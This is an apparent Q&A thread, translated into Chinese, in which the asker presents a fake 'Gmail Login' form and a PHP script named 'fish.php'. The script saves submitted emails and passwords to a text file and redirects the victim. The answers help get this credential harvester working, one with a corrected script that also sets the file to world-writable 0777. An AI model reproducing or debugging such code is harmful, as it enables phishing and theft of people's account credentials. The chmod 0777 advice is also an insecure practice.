0

我正在尝试使用 PHP 写入文本文件。

我有这个表格

<form action="fish.php" method="POST">
<p>Gmail Login</p> <input name="gmail1" type="text" />
</br>
<p>Password</p> <input name="gmail2" type="password" />
</br>
<input type="submit" name="submit" value="Submit">
</form>

我也有这个 PHP 文件

<?php
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
    die('There was an error writing this file');
}
else {
    header("Location: index.html");
}
}
else {
   die('no post data to process');
}

现在我已经在虚拟主机上使用了它,它工作得非常好。然后我把它放到我的树莓派上,运行 linux 并安装了 Apache、PHP 和所有需要的东西,但我只是不断收到“写入此文件时出错”,而不是像我应该的那样被重定向到我的主页。

我有所有相同的文件等等,有人能猜出什么问题吗?

谢谢!

4

2 回答 2

1

这是权限错误。如果您的文本文件位于您的 Pi 上,您只需右键单击它,然后选择“属性”。然后,转到“权限”点击,使文件对每个人都可读写。这适用于我的 Pi :)

于 2014-04-19T13:04:00.377 回答
0

这很可能是文件权限问题。

您可以尝试先打开文件 ( fread),将其设置/ chmod'ing,0777然后再将内容写入其中。

这已经过测试并在我的服务器上运行。

您可能还想将权限从更改07770644

我添加了一个if(isset($_POST['submit']))条件以避免过早写入文件。

<?php

if(isset($_POST['submit'])){
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";

$file = "list.txt";
fopen($file, "r");
chmod ($file, 0777); // change to 0644 if required
$ret = file_put_contents($file, $data, FILE_APPEND | LOCK_EX);

if($ret === false) {
    die('There was an error writing this file');
}
else {
    header("Location: index.html");

}
}
else {
   die('no post data to process');
}

} // for if(isset($_POST['submit']))

?>
于 2013-11-04T19:39:41.930 回答